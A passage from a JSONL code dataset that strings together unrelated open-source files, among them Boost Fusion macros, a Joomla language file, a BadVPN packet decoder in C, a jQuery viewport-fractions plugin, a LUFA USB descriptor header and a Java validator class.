BOOST_PP_CAT(BOOST_FUSION_DEFINE_STRUCT_FILLER_0(0,0)ATTRIBUTES,_END), \\\n 2) \\\n \\\n BOOST_FUSION_ADAPT_TPL_STRUCT( \\\n TEMPLATE_PARAMS_SEQ, \\\n (BOOST_FUSION_ADAPT_STRUCT_NAMESPACE_DECLARATION((0)NAMESPACE_SEQ) NAME)\\\n TEMPLATE_PARAMS_SEQ, \\\n ATTRIBUTES)\n\n#define BOOST_FUSION_DEFINE_STRUCT(NAMESPACE_SEQ, NAME, ATTRIBUTES) \\\n BOOST_FUSION_DEFINE_STRUCT_IMPL( \\\n (0)NAMESPACE_SEQ, \\\n NAME, \\\n BOOST_PP_CAT(BOOST_FUSION_DEFINE_STRUCT_FILLER_0(0,0)ATTRIBUTES,_END), \\\n 2) \\\n \\\n BOOST_FUSION_ADAPT_STRUCT( \\\n BOOST_FUSION_ADAPT_STRUCT_NAMESPACE_DECLARATION((0)NAMESPACE_SEQ) NAME, \\\n ATTRIBUTES)\n\n#endif\n"} +{"text": "; Projectfork Milestones\n; Copyright (C) 2006 - 2012 Tobias Kuhn. All rights reserved.\n; License GNU General Public License version 2 or later; see LICENSE.txt\n; Note : All ini files need to be saved as UTF-8 - No BOM\n\nCOM_PFMILESTONES = \"Projectfork - Milestones\"\nCOM_PFMILESTONES_XML_DESCRIPTION = \"Projectfork Milestones Component\"\n\n; Projectfork 4.0 - Milestone List Menu Item\nCOM_PFMILESTONES_MILESTONES_VIEW_DEFAULT_TITLE = \"Overview (List Layout)\"\nCOM_PFMILESTONES_MILESTONES_VIEW_DEFAULT_OPTION = \"Default\"\nCOM_PFMILESTONES_MILESTONES_VIEW_DEFAULT_DESC = \"Displays milestones in a list layout.\"\n\n; Projectfork 4.0 - Milestone Form Menu Item\nCOM_PFMILESTONES_FORM_VIEW_DEFAULT_TITLE = \"Create Milestone\"\nCOM_PFMILESTONES_FORM_VIEW_DEFAULT_OPTION = \"Default\"\nCOM_PFMILESTONES_FORM_VIEW_DEFAULT_DESC = \"Displays a milestone form.\"\n\n\nCOM_PFMILESTONES_MILESTONES_DEFAULT_LAYOUT_OPTIONS = \"List Layout Options\"\nCOM_PROJECTFORK_ORDER_DEADLINE = \"Deadline\"\nCOM_PFMILESTONES_SORT_BY = \"Sort milestones by\"\nCOM_PFMILESTONES_ORDER = \"Order by\"\nCOM_PFMILESTONES_NUMBER_ITEMS_LIST_LABEL = \"# Milestones to list\""} +{"text": "# Add project specific ProGuard rules here.\n# By default, the flags in this file are appended to flags specified\n# in /Users/silver/Development/android-sdk-macosx/tools/proguard/proguard-android.txt\n# You can edit the include path and order by changing the proguardFiles\n# directive in build.gradle.\n#\n# For more details, see\n# http://developer.android.com/guide/developing/tools/proguard.html\n\n# Add any project specific keep options here:\n\n# If your project uses WebView with JS, uncomment the following\n# and specify the fully qualified class name to the JavaScript interface\n# class:\n#-keepclassmembers class fqcn.of.javascript.interface.for.webview {\n# public *;\n#}\n"} +{"text": "/**\n * @file PacketProtoDecoder.c\n * @author Ambroz Bizjak \n * \n * @section LICENSE\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. Neither the name of the author nor the\n * names of its contributors may be used to endorse or promote products\n * derived from this software without specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \n#include \n\n#include \"misc/debug.h\"\n#include \"misc/byteorder.h\"\n#include \"misc/minmax.h\"\n#include \"base/BLog.h\"\n\n#include \"flow/PacketProtoDecoder.h\"\n\n#include \"generated/blog_channel_PacketProtoDecoder.h\"\n\nstatic void process_data (PacketProtoDecoder *enc);\nstatic void input_handler_done (PacketProtoDecoder *enc, int data_len);\nstatic void output_handler_done (PacketProtoDecoder *enc);\n\nvoid process_data (PacketProtoDecoder *enc)\n{\n int was_error = 0;\n \n do {\n uint8_t *data = enc->buf + enc->buf_start;\n int left = enc->buf_used;\n \n // check if header was received\n if (left < sizeof(struct packetproto_header)) {\n break;\n }\n struct packetproto_header header;\n memcpy(&header, data, sizeof(header));\n data += sizeof(struct packetproto_header);\n left -= sizeof(struct packetproto_header);\n int data_len = ltoh16(header.len);\n \n // check data length\n if (data_len > enc->output_mtu) {\n BLog(BLOG_NOTICE, \"error: packet too large\");\n was_error = 1;\n break;\n }\n \n // check if whole packet was received\n if (left < data_len) {\n break;\n }\n \n // update buffer\n enc->buf_start += sizeof(struct packetproto_header) + data_len;\n enc->buf_used -= sizeof(struct packetproto_header) + data_len;\n \n // submit packet\n PacketPassInterface_Sender_Send(enc->output, data, data_len);\n return;\n } while (0);\n \n if (was_error) {\n // reset buffer\n enc->buf_start = 0;\n enc->buf_used = 0;\n } else {\n // if we reached the end of the buffer, wrap around to allow more data to be received\n if (enc->buf_start + enc->buf_used == enc->buf_size) {\n memmove(enc->buf, enc->buf + enc->buf_start, enc->buf_used);\n enc->buf_start = 0;\n }\n }\n \n // receive data\n StreamRecvInterface_Receiver_Recv(enc->input, enc->buf + (enc->buf_start + enc->buf_used), enc->buf_size - (enc->buf_start + enc->buf_used));\n \n // if we had error, report it\n if (was_error) {\n enc->handler_error(enc->user);\n return;\n }\n}\n\nstatic void input_handler_done (PacketProtoDecoder *enc, int data_len)\n{\n ASSERT(data_len > 0)\n ASSERT(data_len <= enc->buf_size - (enc->buf_start + enc->buf_used))\n DebugObject_Access(&enc->d_obj);\n \n // update buffer\n enc->buf_used += data_len;\n \n // process data\n process_data(enc);\n return;\n}\n\nvoid output_handler_done (PacketProtoDecoder *enc)\n{\n DebugObject_Access(&enc->d_obj);\n \n // process data\n process_data(enc);\n return;\n}\n\nint PacketProtoDecoder_Init (PacketProtoDecoder *enc, StreamRecvInterface *input, PacketPassInterface *output, BPendingGroup *pg, void *user, PacketProtoDecoder_handler_error handler_error)\n{\n // init arguments\n enc->input = input;\n enc->output = output;\n enc->user = user;\n enc->handler_error = handler_error;\n \n // init input\n StreamRecvInterface_Receiver_Init(enc->input, (StreamRecvInterface_handler_done)input_handler_done, enc);\n \n // init output\n PacketPassInterface_Sender_Init(enc->output, (PacketPassInterface_handler_done)output_handler_done, enc);\n \n // set output MTU, limit by maximum payload size\n enc->output_mtu = bmin_int(PacketPassInterface_GetMTU(enc->output), PACKETPROTO_MAXPAYLOAD);\n \n // init buffer state\n enc->buf_size = PACKETPROTO_ENCLEN(enc->output_mtu);\n enc->buf_start = 0;\n enc->buf_used = 0;\n \n // allocate buffer\n if (!(enc->buf = (uint8_t *)malloc(enc->buf_size))) {\n goto fail0;\n }\n \n // start receiving\n StreamRecvInterface_Receiver_Recv(enc->input, enc->buf, enc->buf_size);\n \n DebugObject_Init(&enc->d_obj);\n \n return 1;\n \nfail0:\n return 0;\n}\n\nvoid PacketProtoDecoder_Free (PacketProtoDecoder *enc)\n{\n DebugObject_Free(&enc->d_obj);\n \n // free buffer\n free(enc->buf);\n}\n\nvoid PacketProtoDecoder_Reset (PacketProtoDecoder *enc)\n{\n DebugObject_Access(&enc->d_obj);\n \n enc->buf_start += enc->buf_used;\n enc->buf_used = 0;\n}\n"} +{"text": "(() => {\n const WIN = window; // eslint-disable-line\n const DOC = WIN.document;\n const $ = WIN.jQuery;\n const $WIN = $(WIN);\n const $DOC = $(DOC);\n const extend = $.extend;\n const is_fn = $.isFunction;\n const math_max = Math.max;\n const math_min = Math.min;\n const math_round = Math.round;\n const is_typeof = (obj, type) => typeof obj === type;\n const is_instanceof = (obj, type) => obj instanceof type;\n const is_html_el = obj => obj && obj.nodeType;\n const get_html_el = obj => is_html_el(obj) ? obj : is_instanceof(obj, $) ? obj[0] : undefined;\n\n const get_id = (() => {\n const ids = {};\n let next_id = 1;\n\n return el => {\n if (!el) {\n return 0;\n }\n if (!ids[el]) {\n ids[el] = next_id;\n next_id += 1;\n }\n return ids[el];\n };\n })();\n\n const equal = (x, y, props) => {\n if (x === y) {\n return true;\n }\n if (!x || !y || x.constructor !== y.constructor) {\n return false;\n }\n for (let i = 0, l = props.length; i < l; i += 1) {\n const prop = props[i];\n if (x[prop] && is_fn(x[prop].equals) && !x[prop].equals(y[prop])) {\n return false;\n }\n if (x[prop] !== y[prop]) {\n return false;\n }\n }\n return true;\n };\n\n\n\n\n function Rect(left, top, width, height) {\n this.left = math_round(left);\n this.top = math_round(top);\n this.width = math_round(width);\n this.height = math_round(height);\n this.right = this.left + this.width;\n this.bottom = this.top + this.height;\n }\n\n extend(Rect.prototype, {\n equals(that) {\n return equal(this, that, ['left', 'top', 'width', 'height']);\n },\n\n area() {\n return this.width * this.height;\n },\n\n relativeTo(rect) {\n return new Rect(this.left - rect.left, this.top - rect.top, this.width, this.height);\n },\n\n intersection(rect) {\n if (!is_instanceof(rect, Rect)) {\n return null;\n }\n\n const left = math_max(this.left, rect.left);\n const right = math_min(this.right, rect.right);\n const top = math_max(this.top, rect.top);\n const bottom = math_min(this.bottom, rect.bottom);\n const width = right - left;\n const height = bottom - top;\n\n return width >= 0 && height >= 0 ? new Rect(left, top, width, height) : null;\n },\n\n envelope(rect) {\n if (!is_instanceof(rect, Rect)) {\n return this;\n }\n\n const left = math_min(this.left, rect.left);\n const right = math_max(this.right, rect.right);\n const top = math_min(this.top, rect.top);\n const bottom = math_max(this.bottom, rect.bottom);\n const width = right - left;\n const height = bottom - top;\n\n return new Rect(left, top, width, height);\n }\n });\n\n extend(Rect, {\n ofContent(el, in_content_space) {\n if (!el || el === DOC || el === WIN) {\n return new Rect(0, 0, $DOC.width(), $DOC.height());\n }\n\n if (in_content_space) {\n return new Rect(0, 0, el.scrollWidth, el.scrollHeight);\n }\n\n return new Rect(el.offsetLeft - el.scrollLeft, el.offsetTop - el.scrollTop, el.scrollWidth, el.scrollHeight);\n },\n\n ofViewport(el, in_content_space) {\n if (!el || el === DOC || el === WIN) {\n return new Rect($WIN.scrollLeft(), $WIN.scrollTop(), $WIN.width(), $WIN.height());\n }\n\n if (in_content_space) {\n return new Rect(el.scrollLeft, el.scrollTop, el.clientWidth, el.clientHeight);\n }\n\n return new Rect(el.offsetLeft, el.offsetTop, el.clientWidth, el.clientHeight);\n },\n\n ofElement(el) {\n const $el = $(el);\n if (!$el.is(':visible')) {\n return null;\n }\n\n const offset = $el.offset();\n return new Rect(offset.left, offset.top, $el.outerWidth(), $el.outerHeight());\n }\n });\n\n\n\n\n function Fractions(visible, viewport, possible, rects) {\n this.visible = visible || 0;\n this.viewport = viewport || 0;\n this.possible = possible || 0;\n this.rects = rects && extend({}, rects) || null;\n }\n\n extend(Fractions.prototype, {\n equals(that) {\n return this.fracsEqual(that) && this.rectsEqual(that);\n },\n\n fracsEqual(that) {\n return equal(this, that, ['visible', 'viewport', 'possible']);\n },\n\n rectsEqual(that) {\n return equal(this.rects, that.rects, ['document', 'element', 'viewport']);\n }\n });\n\n extend(Fractions, {\n of(rect, viewport) {\n rect = is_html_el(rect) && Rect.ofElement(rect) || rect;\n viewport = is_html_el(viewport) && Rect.ofViewport(viewport) || viewport || Rect.ofViewport();\n\n if (!is_instanceof(rect, Rect)) {\n return new Fractions();\n }\n\n const intersection = rect.intersection(viewport);\n if (!intersection) {\n return new Fractions();\n }\n\n const intersection_area = intersection.area();\n const possible_area = math_min(rect.width, viewport.width) * math_min(rect.height, viewport.height);\n return new Fractions(\n intersection_area / rect.area(),\n intersection_area / viewport.area(),\n intersection_area / possible_area,\n {\n document: intersection,\n element: intersection.relativeTo(rect),\n viewport: intersection.relativeTo(viewport)\n }\n );\n }\n });\n\n\n\n\n function Group(els, viewport) {\n this.els = els;\n this.viewport = viewport;\n }\n\n const RECT_PROPS = ['width', 'height', 'left', 'right', 'top', 'bottom'];\n const FRACS_PROPS = ['possible', 'visible', 'viewport'];\n\n const get_value = (el, viewport, prop) => {\n let obj;\n if (RECT_PROPS.includes(prop)) {\n obj = Rect.ofElement(el);\n } else if (FRACS_PROPS.includes(prop)) {\n obj = Fractions.of(el, viewport);\n }\n return obj ? obj[prop] : 0;\n };\n\n const sort_asc = (x, y) => x.val - y.val;\n const sort_desc = (x, y) => y.val - x.val;\n\n extend(Group.prototype, {\n sorted(prop, desc) {\n const viewport = this.viewport;\n\n return $.map(this.els, el => {\n return {\n el,\n val: get_value(el, viewport, prop)\n };\n }).sort(desc ? sort_desc : sort_asc);\n },\n\n best(prop, desc) {\n return this.els.length ? this.sorted(prop, desc)[0] : null;\n }\n });\n\n\n\n\n function ScrollState(el) {\n const content = Rect.ofContent(el, true);\n const viewport = Rect.ofViewport(el, true);\n const w = content.width - viewport.width;\n const h = content.height - viewport.height;\n\n this.content = content;\n this.viewport = viewport;\n this.width = w <= 0 ? null : viewport.left / w;\n this.height = h <= 0 ? null : viewport.top / h;\n this.left = viewport.left;\n this.top = viewport.top;\n this.right = content.right - viewport.right;\n this.bottom = content.bottom - viewport.bottom;\n }\n\n extend(ScrollState.prototype, {\n equals(that) {\n return equal(this, that, ['width', 'height', 'left', 'top', 'right', 'bottom', 'content', 'viewport']);\n }\n });\n\n\n\n\n function Viewport(el) {\n this.el = el || WIN;\n }\n\n extend(Viewport.prototype, {\n equals(that) {\n return equal(this, that, ['el']);\n },\n\n scrollState() {\n return new ScrollState(this.el);\n },\n\n scrollTo(left, top, duration) {\n const $el = this.el === WIN ? $('html,body') : $(this.el);\n left = left || 0;\n top = top || 0;\n duration = isNaN(duration) ? 1000 : duration;\n $el.stop(true).animate({scrollLeft: left, scrollTop: top}, duration);\n },\n\n scrollToRect(rect, left, top, duration) {\n left = left || 0;\n top = top || 0;\n this.scrollTo(rect.left - left, rect.top - top, duration);\n },\n\n scrollToElement(el, left, top, duration) {\n const rect = Rect.ofElement(el).relativeTo(Rect.ofContent(this.el));\n this.scrollToRect(rect, left, top, duration);\n }\n });\n\n\n\n\n const callback_mixin = {\n context: null,\n updatedValue: () => null,\n\n init(target) {\n this.callbacks = $.Callbacks('memory unique');\n this.curr_val = null;\n this.prev_val = null;\n $(target || WIN).on('load resize scroll', $.proxy(this.check, this));\n },\n\n bind(callback) {\n this.callbacks.add(callback);\n },\n\n unbind(callback) {\n if (callback) {\n this.callbacks.remove(callback);\n } else {\n this.callbacks.empty();\n }\n },\n\n check(event) {\n const val = this.updatedValue(event);\n if (val === undefined) {\n return false;\n }\n\n this.prev_val = this.curr_val;\n this.curr_val = val;\n this.callbacks.fireWith(this.context, [this.curr_val, this.prev_val]);\n return true;\n }\n };\n\n\n function FracsCallbacks(el, viewport) {\n this.context = el;\n this.viewport = viewport;\n this.init();\n }\n\n extend(FracsCallbacks.prototype, callback_mixin, {\n updatedValue() {\n const val = Fractions.of(this.context, this.viewport);\n if (!val.equals(this.curr_val)) {\n return val;\n }\n return undefined;\n }\n });\n\n\n function GroupCallbacks(els, viewport, prop, desc) {\n this.context = new Group(els, viewport);\n this.property = prop;\n this.descending = desc;\n this.init();\n }\n\n extend(GroupCallbacks.prototype, callback_mixin, {\n updatedValue() {\n let best = this.context.best(this.property, this.descending);\n if (best) {\n best = best.val > 0 ? best.el : null;\n if (this.curr_val !== best) {\n return best;\n }\n }\n return undefined;\n }\n });\n\n\n function ScrollStateCallbacks(el) {\n if (!el || el === WIN || el === DOC) {\n this.context = WIN;\n } else {\n this.context = el;\n }\n this.init(this.context);\n }\n\n extend(ScrollStateCallbacks.prototype, callback_mixin, {\n updatedValue() {\n const val = new ScrollState(this.context);\n if (!val.equals(this.curr_val)) {\n return val;\n }\n return undefined;\n }\n });\n\n\n\n\n // # Public API\n // accessible via `$(selector).fracs('', ...)`.\n\n const methods = {\n // ## 'content'\n // Returns the content rect of the first selected element in content space.\n // If no element is selected it returns the document rect.\n content(in_content_space) {\n return this.length ? Rect.ofContent(this[0], in_content_space) : null;\n },\n\n // ## 'envelope'\n // Returns the smallest rectangle that containes all selected elements.\n envelope() {\n let res;\n $.each(this, (idx, el) => {\n const rect = Rect.ofElement(el);\n res = res ? res.envelope(rect) : rect;\n });\n return res;\n },\n\n // ## 'fracs'\n // This is the **default method**. So the first parameter `'fracs'`\n // can be omitted.\n //\n // Returns the fractions for the first selected element.\n //\n // .fracs(): Fractions\n //\n // Binds a callback function that will be invoked if fractions have changed\n // after a `window resize` or `window scroll` event.\n //\n // .fracs(callback(fracs: Fractions, prev_fracs: Fractions)): jQuery\n //\n // Unbinds the specified callback function.\n //\n // .fracs('unbind', callback): jQuery\n //\n // Unbinds all callback functions.\n //\n // .fracs('unbind'): jQuery\n //\n // Checks if fractions changed and if so invokes all bound callback functions.\n //\n // .fracs('check'): jQuery\n fracs(action, callback, viewport) {\n if (!is_typeof(action, 'string')) {\n viewport = callback;\n callback = action;\n action = null;\n }\n if (!is_fn(callback)) {\n viewport = callback;\n callback = null;\n }\n viewport = get_html_el(viewport);\n\n const ns = 'fracs.' + get_id(viewport);\n\n if (action === 'unbind') {\n return this.each(function cb() {\n const cbs = $(this).data(ns);\n if (cbs) {\n cbs.unbind(callback);\n }\n });\n } else if (action === 'check') {\n return this.each(function cb() {\n const cbs = $(this).data(ns);\n if (cbs) {\n cbs.check();\n }\n });\n } else if (is_fn(callback)) {\n return this.each(function cb() {\n const $this = $(this);\n let cbs = $this.data(ns);\n if (!cbs) {\n cbs = new FracsCallbacks(this, viewport);\n $this.data(ns, cbs);\n }\n cbs.bind(callback);\n });\n }\n\n return this.length ? Fractions.of(this[0], viewport) : null;\n },\n\n // ## 'intersection'\n // Returns the greatest rectangle that is contained in all selected elements.\n intersection() {\n let res;\n $.each(this, (idx, el) => {\n const rect = Rect.ofElement(el);\n res = res ? res.intersection(rect) : rect;\n });\n return res;\n },\n\n // ## 'max'\n // Reduces the set of selected elements to those with the maximum value\n // of the specified property.\n // Valid values for property are `possible`, `visible`, `viewport`,\n // `width`, `height`, `left`, `right`, `top`, `bottom`.\n //\n // .fracs('max', property: String): jQuery\n //\n // Binds a callback function to the set of selected elements that gets\n // triggert whenever the element with the highest value of the specified\n // property changes.\n //\n // .fracs('max', property: String, callback(best: Element, prev_best: Element)): jQuery\n max(prop, callback, viewport) {\n if (!is_fn(callback)) {\n viewport = callback;\n callback = null;\n }\n viewport = get_html_el(viewport);\n\n if (callback) {\n new GroupCallbacks(this, viewport, prop, true).bind(callback);\n return this;\n }\n\n return this.pushStack(new Group(this, viewport).best(prop, true).el);\n },\n\n // ## 'min'\n // Reduces the set of selected elements to those with the minimum value\n // of the specified property.\n // Valid values for property are `possible`, `visible`, `viewport`,\n // `width`, `height`, `left`, `right`, `top`, `bottom`.\n //\n // .fracs('min', property: String): jQuery\n //\n // Binds a callback function to the set of selected elements that gets\n // triggert whenever the element with the lowest value of the specified\n // property changes.\n //\n // .fracs('min', property: String, callback(best: Element, prev_best: Element)): jQuery\n min(prop, callback, viewport) {\n if (!is_fn(callback)) {\n viewport = callback;\n callback = null;\n }\n viewport = get_html_el(viewport);\n\n if (callback) {\n new GroupCallbacks(this, viewport, prop).bind(callback);\n return this;\n }\n\n return this.pushStack(new Group(this, viewport).best(prop).el);\n },\n\n // ## 'rect'\n // Returns the dimensions for the first selected element in document space.\n rect() {\n return this.length ? Rect.ofElement(this[0]) : null;\n },\n\n // ## 'scrollState'\n // Returns the current scroll state for the first selected element.\n //\n // .fracs('scrollState'): ScrollState\n //\n // Binds a callback function that will be invoked if scroll state has changed\n // after a `resize` or `scroll` event.\n //\n // .fracs('scrollState', callback(scrollState: scrollState, prevScrollState: scrollState)): jQuery\n //\n // Unbinds the specified callback function.\n //\n // .fracs('scrollState', 'unbind', callback): jQuery\n //\n // Unbinds all callback functions.\n //\n // .fracs('scrollState', 'unbind'): jQuery\n //\n // Checks if scroll state changed and if so invokes all bound callback functions.\n //\n // .fracs('scrollState', 'check'): jQuery\n scrollState(action, callback) {\n const ns = 'fracs.scrollState';\n\n if (!is_typeof(action, 'string')) {\n callback = action;\n action = null;\n }\n\n if (action === 'unbind') {\n return this.each(function cb() {\n const cbs = $(this).data(ns);\n if (cbs) {\n cbs.unbind(callback);\n }\n });\n } else if (action === 'check') {\n return this.each(function cb() {\n const cbs = $(this).data(ns);\n if (cbs) {\n cbs.check();\n }\n });\n } else if (is_fn(callback)) {\n return this.each(function cb() {\n const $this = $(this);\n let cbs = $this.data(ns);\n if (!cbs) {\n cbs = new ScrollStateCallbacks(this);\n $this.data(ns, cbs);\n }\n cbs.bind(callback);\n });\n }\n\n return this.length ? new ScrollState(this[0]) : null;\n },\n\n // ## 'scroll'\n // Scrolls the selected elements relative to its current position,\n // `left` and `top` paddings default to `0`, `duration` to `1000`.\n //\n // .fracs('scroll', element: HTMLElement/jQuery, [left: int,] [top: int,] [duration: int]): jQuery\n scroll(left, top, duration) {\n return this.each(function cb() {\n new Viewport(this).scroll(left, top, duration);\n });\n },\n\n // ## 'scrollTo'\n // Scrolls the selected elements to the specified element or an absolute position,\n // `left` and `top` paddings default to `0`, `duration` to `1000`.\n //\n // .fracs('scrollTo', element: HTMLElement/jQuery, [left: int,] [top: int,] [duration: int]): jQuery\n // .fracs('scrollTo', [left: int,] [top: int,] [duration: int]): jQuery\n scrollTo(el, left, top, duration) {\n if ($.isNumeric(el)) {\n duration = top;\n top = left;\n left = el;\n el = null;\n }\n\n el = get_html_el(el);\n\n return this.each(function cb() {\n if (el) {\n new Viewport(this).scrollToElement(el, left, top, duration);\n } else {\n new Viewport(this).scrollTo(left, top, duration);\n }\n });\n },\n\n // ## 'scrollToThis'\n // Scrolls the viewport (defaults to window) to the first selected element in the specified time,\n // `left` and `top` paddings default to `0`, `duration` to `1000`.\n scrollToThis(left, top, duration, viewport) {\n viewport = new Viewport(get_html_el(viewport));\n viewport.scrollToElement(this[0], left, top, duration);\n return this;\n },\n\n // ## 'sort'\n // Sorts the set of selected elements by the specified prop.\n // Valid values for prop are `possible`, `visible`, `viewport`,\n // `width`, `height`, `left`, `right`, `top`, `bottom`. The default\n // sort order is descending.\n sort(prop, ascending, viewport) {\n if (!is_typeof(ascending, 'boolean')) {\n viewport = ascending;\n ascending = null;\n }\n viewport = get_html_el(viewport);\n\n return this.pushStack($.map(new Group(this, viewport).sorted(prop, !ascending), entry => entry.el));\n },\n\n // ## 'viewport'\n // Returns the current viewport of the first selected element.\n // If no element is selected it returns the document's viewport.\n viewport(in_content_space) {\n return this.length ? Rect.ofViewport(this[0], in_content_space) : null;\n }\n };\n\n\n\n\n $.fracs = (rect, viewport) => Fractions.of(rect, viewport);\n\n $.fracs._ = { // published for testing\n Rect,\n Fractions,\n Group,\n ScrollState,\n Viewport,\n FracsCallbacks,\n GroupCallbacks,\n ScrollStateCallbacks\n };\n\n $.fn.fracs = function main(...args) {\n let method = methods.fracs;\n if (is_fn(methods[args[0]])) {\n method = methods[args.shift()];\n }\n return Reflect.apply(method, this, args);\n };\n})();\n"} +{"text": "/*\n LUFA Library\n Copyright (C) Dean Camera, 2018.\n\n dean [at] fourwalledcubicle [dot] com\n www.lufa-lib.org\n*/\n\n/*\n Copyright 2018 Dean Camera (dean [at] fourwalledcubicle [dot] com)\n\n Permission to use, copy, modify, distribute, and sell this\n software and its documentation for any purpose is hereby granted\n without fee, provided that the above copyright notice appear in\n all copies and that both that the copyright notice and this\n permission notice and warranty disclaimer appear in supporting\n documentation, and that the name of the author not be used in\n advertising or publicity pertaining to distribution of the\n software without specific, written prior permission.\n\n The author disclaims all warranties with regard to this\n software, including all implied warranties of merchantability\n and fitness. In no event shall the author be liable for any\n special, indirect or consequential damages or any damages\n whatsoever resulting from loss of use, data or profits, whether\n in an action of contract, negligence or other tortious action,\n arising out of or in connection with the use or performance of\n this software.\n*/\n\n/** \\file\n *\n * Header file for Descriptors.c.\n */\n\n#ifndef _DESCRIPTORS_H_\n#define _DESCRIPTORS_H_\n\n\t/* Includes: */\n\t\t#include \n\n\t\t#include \n\n\t\t#include \"Config/AppConfig.h\"\n\n\t/* Macros: */\n\t\t/** Endpoint address of the Audio isochronous streaming data OUT endpoint. */\n\t\t#define AUDIO_STREAM_EPADDR (ENDPOINT_DIR_OUT | 1)\n\n\t\t/** Endpoint size in bytes of the Audio isochronous streaming data endpoint. */\n\t\t#define AUDIO_STREAM_EPSIZE 256\n\n\t/* Type Defines: */\n\t\t/** Type define for the device configuration descriptor structure. This must be defined in the\n\t\t * application code, as the configuration descriptor contains several sub-descriptors which\n\t\t * vary between devices, and which describe the device's usage to the host.\n\t\t */\n\t\ttypedef struct\n\t\t{\n\t\t\tUSB_Descriptor_Configuration_Header_t Config;\n\n\t\t\t// Audio Control Interface\n\t\t\tUSB_Descriptor_Interface_t Audio_ControlInterface;\n\t\t\tUSB_Audio_Descriptor_Interface_AC_t Audio_ControlInterface_SPC;\n\t\t\tUSB_Audio_Descriptor_InputTerminal_t Audio_InputTerminal;\n\t\t\tUSB_Audio_Descriptor_OutputTerminal_t Audio_OutputTerminal;\n\n\t\t\t// Audio Streaming Interface\n\t\t\tUSB_Descriptor_Interface_t Audio_StreamInterface_Alt0;\n\t\t\tUSB_Descriptor_Interface_t Audio_StreamInterface_Alt1;\n\t\t\tUSB_Audio_Descriptor_Interface_AS_t Audio_StreamInterface_SPC;\n\t\t\tUSB_Audio_Descriptor_Format_t Audio_AudioFormat;\n\t\t\tUSB_Audio_SampleFreq_t Audio_AudioFormatSampleRates[5];\n\t\t\tUSB_Audio_Descriptor_StreamEndpoint_Std_t Audio_StreamEndpoint;\n\t\t\tUSB_Audio_Descriptor_StreamEndpoint_Spc_t Audio_StreamEndpoint_SPC;\n\t\t} USB_Descriptor_Configuration_t;\n\n\t\t/** Enum for the device interface descriptor IDs within the device. Each interface descriptor\n\t\t * should have a unique ID index associated with it, which can be used to refer to the\n\t\t * interface from other descriptors.\n\t\t */\n\t\tenum InterfaceDescriptors_t\n\t\t{\n\t\t\tINTERFACE_ID_AudioControl = 0, /**< Audio control interface descriptor ID */\n\t\t\tINTERFACE_ID_AudioStream = 1, /**< Audio stream interface descriptor ID */\n\t\t};\n\n\t\t/** Enum for the device string descriptor IDs within the device. Each string descriptor should\n\t\t * have a unique ID index associated with it, which can be used to refer to the string from\n\t\t * other descriptors.\n\t\t */\n\t\tenum StringDescriptors_t\n\t\t{\n\t\t\tSTRING_ID_Language = 0, /**< Supported Languages string descriptor ID (must be zero) */\n\t\t\tSTRING_ID_Manufacturer = 1, /**< Manufacturer string ID */\n\t\t\tSTRING_ID_Product = 2, /**< Product string ID */\n\t\t};\n\n\t/* Function Prototypes: */\n\t\tuint16_t CALLBACK_USB_GetDescriptor(const uint16_t wValue,\n\t\t const uint16_t wIndex,\n\t\t const void** const DescriptorAddress)\n\t\t ATTR_WARN_UNUSED_RESULT ATTR_NON_NULL_PTR_ARG(3);\n\n#endif\n\n"} +{"text": "/*\n * Copyright (c) 2006 Henri Sivonen\n *\n * Permission is hereby granted, free of charge, to any person obtaining a \n * copy of this software and associated documentation files (the \"Software\"), \n * to deal in the Software without restriction, including without limitation \n * the rights to use, copy, modify, merge, publish, distribute, sublicense, \n * and/or sell copies of the Software, and to permit persons to whom the \n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in \n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL \n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING \n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER \n * DEALINGS IN THE SOFTWARE.\n */\n\npackage nu.validator.datatype;\n\nimport org.relaxng.datatype.DatatypeException;\nimport org.relaxng.datatype.DatatypeStreamingValidator;\n\npublic final class DatatypeStreamingValidatorImpl implements\n DatatypeStreamingValidator {\n\n private final AbstractDatatype datatype;\n \n private final StringBuilder buffer;\n \n public DatatypeStreamingValidatorImpl(AbstractDatatype datatype) {\n super();\n this.datatype = datatype;\n this.buffer = new StringBuilder();\n }\n\n @Override\n public void addCharacters(char[] buf, int start, int len) {\n buffer.append(buf, start, len);\n }\n\n @Override\n public boolean isValid() {\n try {\n datatype.checkValid(buffer);\n } catch (DatatypeException e) {\n return false;\n }\n return true;\n }\n\n @Override\n public void checkValid() throws DatatypeException {\n datatype.checkValid(buffer);\n }\n\n}\n"} +{"text": "\n#include // for snprintf\n#include \n#include 